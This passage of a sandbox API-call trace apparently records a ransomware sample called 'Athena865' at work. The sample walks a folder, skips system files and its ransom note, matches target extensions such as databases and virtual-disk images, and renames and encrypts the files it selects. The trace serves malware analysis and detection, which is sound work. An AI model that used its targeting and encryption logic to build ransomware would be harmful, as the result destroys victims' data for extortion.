Shared\\ink\\IpsPlugin.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.219] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=94720) returned 1 [0110.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.219] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.220] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.220] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.220] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17500, lpName=0x0) returned 0x17c [0110.221] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17500) returned 0x100000 [0110.232] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.233] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.233] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.234] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.235] CloseHandle (hObject=0x17c) returned 1 [0110.235] CloseHandle (hObject=0x154) returned 1 [0110.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.236] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2=".") returned 1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2="..") returned 1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2="windows") returned -1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2="bootmgr") returned 1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2="temp") returned -1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2="pagefile.sys") returned -1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2="boot") returned 1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2="ids.txt") returned 1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2="ntuser.dat") returned -1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2="perflogs") returned -1 [0110.236] lstrcmpiW (lpString1="ipsptb.xml", lpString2="MSBuild") returned -1 [0110.236] lstrlenW (lpString="ipsptb.xml") returned 10 [0110.237] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsptb.xml" | out: lpString1="ipsptb.xml") returned="ipsptb.xml" [0110.237] lstrlenW (lpString="ipsptb.xml") returned 10 [0110.237] lstrlenW (lpString="Athena865") returned 9 [0110.237] lstrcmpiW (lpString1="psptb.xml", lpString2="Athena865") returned 1 [0110.237] lstrlenW (lpString=".dll") returned 4 [0110.237] lstrcmpiW (lpString1="ipsptb.xml", lpString2=".dll") returned 1 [0110.237] lstrlenW (lpString=".lnk") returned 4 [0110.237] lstrcmpiW (lpString1="ipsptb.xml", lpString2=".lnk") returned 1 [0110.237] lstrlenW (lpString=".ini") returned 4 [0110.237] lstrcmpiW (lpString1="ipsptb.xml", lpString2=".ini") returned 1 [0110.237] lstrlenW (lpString=".sys") returned 4 [0110.237] lstrcmpiW (lpString1="ipsptb.xml", lpString2=".sys") returned 1 [0110.237] lstrlenW (lpString="ipsptb.xml") returned 10 [0110.237] lstrlenW (lpString="bak") returned 3 [0110.237] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.237] lstrlenW (lpString="ba_") returned 3 [0110.237] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.237] lstrlenW (lpString="dbb") returned 3 [0110.237] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.237] lstrlenW (lpString="vmdk") returned 4 [0110.237] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.237] lstrlenW (lpString="rar") returned 3 [0110.237] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.237] lstrlenW (lpString="zip") returned 3 [0110.237] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.237] lstrlenW (lpString="tgz") returned 3 [0110.237] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.237] lstrlenW (lpString="vbox") returned 4 [0110.238] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.238] lstrlenW (lpString="vdi") returned 3 [0110.238] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.238] lstrlenW (lpString="vhd") returned 3 [0110.238] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.238] lstrlenW (lpString="vhdx") returned 4 [0110.238] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.238] lstrlenW (lpString="avhd") returned 4 [0110.238] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.238] lstrlenW (lpString="db") returned 2 [0110.238] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.238] lstrlenW (lpString="db2") returned 3 [0110.238] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.238] lstrlenW (lpString="db3") returned 3 [0110.238] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.238] lstrlenW (lpString="dbf") returned 3 [0110.238] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.238] lstrlenW (lpString="mdf") returned 3 [0110.238] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.238] lstrlenW (lpString="mdb") returned 3 [0110.238] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.238] lstrlenW (lpString="sql") returned 3 [0110.238] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.238] lstrlenW (lpString="sqlite") returned 6 [0110.238] lstrcmpiW (lpString1="tb.xml", lpString2="sqlite") returned 1 [0110.238] lstrlenW (lpString="sqlite3") returned 7 [0110.238] lstrcmpiW (lpString1="ptb.xml", lpString2="sqlite3") returned -1 [0110.238] lstrlenW (lpString="sqlitedb") returned 8 [0110.238] lstrcmpiW (lpString1="sptb.xml", lpString2="sqlitedb") returned -1 [0110.239] lstrlenW (lpString="xml") returned 3 [0110.239] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.239] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.Athena865") returned 71 [0110.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.athena865"), dwFlags=0x1) returned 1 [0110.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.240] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2246) returned 1 [0110.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.241] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.241] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.241] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.242] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbd0, lpName=0x0) returned 0x17c [0110.243] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbd0) returned 0x100000 [0110.244] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.244] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.244] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.245] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.245] CloseHandle (hObject=0x17c) returned 1 [0110.245] CloseHandle (hObject=0x154) returned 1 [0110.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.246] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2=".") returned 1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2="..") returned 1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2="windows") returned -1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2="bootmgr") returned 1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2="temp") returned -1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2="pagefile.sys") returned -1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2="boot") returned 1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2="ids.txt") returned 1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2="ntuser.dat") returned -1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2="perflogs") returned -1 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2="MSBuild") returned -1 [0110.246] lstrlenW (lpString="ipsptg.xml") returned 10 [0110.246] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsptg.xml" | out: lpString1="ipsptg.xml") returned="ipsptg.xml" [0110.246] lstrlenW (lpString="ipsptg.xml") returned 10 [0110.246] lstrlenW (lpString="Athena865") returned 9 [0110.246] lstrcmpiW (lpString1="psptg.xml", lpString2="Athena865") returned 1 [0110.246] lstrlenW (lpString=".dll") returned 4 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2=".dll") returned 1 [0110.246] lstrlenW (lpString=".lnk") returned 4 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2=".lnk") returned 1 [0110.246] lstrlenW (lpString=".ini") returned 4 [0110.246] lstrcmpiW (lpString1="ipsptg.xml", lpString2=".ini") returned 1 [0110.247] lstrlenW (lpString=".sys") returned 4 [0110.247] lstrcmpiW (lpString1="ipsptg.xml", lpString2=".sys") returned 1 [0110.247] lstrlenW (lpString="ipsptg.xml") returned 10 [0110.247] lstrlenW (lpString="bak") returned 3 [0110.247] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.247] lstrlenW (lpString="ba_") returned 3 [0110.247] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.247] lstrlenW (lpString="dbb") returned 3 [0110.247] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.247] lstrlenW (lpString="vmdk") returned 4 [0110.247] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.247] lstrlenW (lpString="rar") returned 3 [0110.247] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.247] lstrlenW (lpString="zip") returned 3 [0110.247] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.247] lstrlenW (lpString="tgz") returned 3 [0110.247] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.247] lstrlenW (lpString="vbox") returned 4 [0110.247] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.247] lstrlenW (lpString="vdi") returned 3 [0110.247] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.247] lstrlenW (lpString="vhd") returned 3 [0110.247] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.247] lstrlenW (lpString="vhdx") returned 4 [0110.248] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.248] lstrlenW (lpString="avhd") returned 4 [0110.248] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.248] lstrlenW (lpString="db") returned 2 [0110.248] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.248] lstrlenW (lpString="db2") returned 3 [0110.248] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.248] lstrlenW (lpString="db3") returned 3 [0110.248] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.248] lstrlenW (lpString="dbf") returned 3 [0110.248] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.248] lstrlenW (lpString="mdf") returned 3 [0110.248] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.248] lstrlenW (lpString="mdb") returned 3 [0110.248] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.248] lstrlenW (lpString="sql") returned 3 [0110.248] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.248] lstrlenW (lpString="sqlite") returned 6 [0110.248] lstrcmpiW (lpString1="tg.xml", lpString2="sqlite") returned 1 [0110.248] lstrlenW (lpString="sqlite3") returned 7 [0110.248] lstrcmpiW (lpString1="ptg.xml", lpString2="sqlite3") returned -1 [0110.248] lstrlenW (lpString="sqlitedb") returned 8 [0110.248] lstrcmpiW (lpString1="sptg.xml", lpString2="sqlitedb") returned -1 [0110.248] lstrlenW (lpString="xml") returned 3 [0110.248] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.248] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.Athena865") returned 71 [0110.248] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.athena865"), dwFlags=0x1) returned 1 [0110.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.250] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2240) returned 1 [0110.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.250] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.251] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.251] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.251] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc0, lpName=0x0) returned 0x17c [0110.252] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc0) returned 0x100000 [0110.253] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.254] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.254] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.255] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.255] CloseHandle (hObject=0x17c) returned 1 [0110.255] CloseHandle (hObject=0x154) returned 1 [0110.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.255] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0110.255] lstrcmpiW (lpString1="ipsrom.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.255] lstrcmpiW (lpString1="ipsrom.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.255] lstrcmpiW (lpString1="ipsrom.xml", lpString2=".") returned 1 [0110.255] lstrcmpiW (lpString1="ipsrom.xml", lpString2="..") returned 1 [0110.255] lstrcmpiW (lpString1="ipsrom.xml", lpString2="windows") returned -1 [0110.255] lstrcmpiW (lpString1="ipsrom.xml", lpString2="bootmgr") returned 1 [0110.255] lstrcmpiW (lpString1="ipsrom.xml", lpString2="temp") returned -1 [0110.255] lstrcmpiW (lpString1="ipsrom.xml", lpString2="pagefile.sys") returned -1 [0110.255] lstrcmpiW (lpString1="ipsrom.xml", lpString2="boot") returned 1 [0110.256] lstrcmpiW (lpString1="ipsrom.xml", lpString2="ids.txt") returned 1 [0110.256] lstrcmpiW (lpString1="ipsrom.xml", lpString2="ntuser.dat") returned -1 [0110.256] lstrcmpiW (lpString1="ipsrom.xml", lpString2="perflogs") returned -1 [0110.256] lstrcmpiW (lpString1="ipsrom.xml", lpString2="MSBuild") returned -1 [0110.256] lstrlenW (lpString="ipsrom.xml") returned 10 [0110.256] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsrom.xml" | out: lpString1="ipsrom.xml") returned="ipsrom.xml" [0110.256] lstrlenW (lpString="ipsrom.xml") returned 10 [0110.256] lstrlenW (lpString="Athena865") returned 9 [0110.256] lstrcmpiW (lpString1="psrom.xml", lpString2="Athena865") returned 1 [0110.256] lstrlenW (lpString=".dll") returned 4 [0110.256] lstrcmpiW (lpString1="ipsrom.xml", lpString2=".dll") returned 1 [0110.256] lstrlenW (lpString=".lnk") returned 4 [0110.256] lstrcmpiW (lpString1="ipsrom.xml", lpString2=".lnk") returned 1 [0110.256] lstrlenW (lpString=".ini") returned 4 [0110.256] lstrcmpiW (lpString1="ipsrom.xml", lpString2=".ini") returned 1 [0110.256] lstrlenW (lpString=".sys") returned 4 [0110.256] lstrcmpiW (lpString1="ipsrom.xml", lpString2=".sys") returned 1 [0110.256] lstrlenW (lpString="ipsrom.xml") returned 10 [0110.256] lstrlenW (lpString="bak") returned 3 [0110.256] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.256] lstrlenW (lpString="ba_") returned 3 [0110.256] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.256] lstrlenW (lpString="dbb") returned 3 [0110.256] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.256] lstrlenW (lpString="vmdk") returned 4 [0110.256] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.256] lstrlenW (lpString="rar") returned 3 [0110.256] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.256] lstrlenW (lpString="zip") returned 3 [0110.257] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.257] lstrlenW (lpString="tgz") returned 3 [0110.257] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.257] lstrlenW (lpString="vbox") returned 4 [0110.257] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.257] lstrlenW (lpString="vdi") returned 3 [0110.257] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.257] lstrlenW (lpString="vhd") returned 3 [0110.257] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.257] lstrlenW (lpString="vhdx") returned 4 [0110.257] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.257] lstrlenW (lpString="avhd") returned 4 [0110.257] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.257] lstrlenW (lpString="db") returned 2 [0110.257] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.257] lstrlenW (lpString="db2") returned 3 [0110.257] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.257] lstrlenW (lpString="db3") returned 3 [0110.257] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.257] lstrlenW (lpString="dbf") returned 3 [0110.257] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.257] lstrlenW (lpString="mdf") returned 3 [0110.257] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.257] lstrlenW (lpString="mdb") returned 3 [0110.257] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.257] lstrlenW (lpString="sql") returned 3 [0110.257] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.257] lstrlenW (lpString="sqlite") returned 6 [0110.257] lstrcmpiW (lpString1="om.xml", lpString2="sqlite") returned -1 [0110.258] lstrlenW (lpString="sqlite3") returned 7 [0110.258] 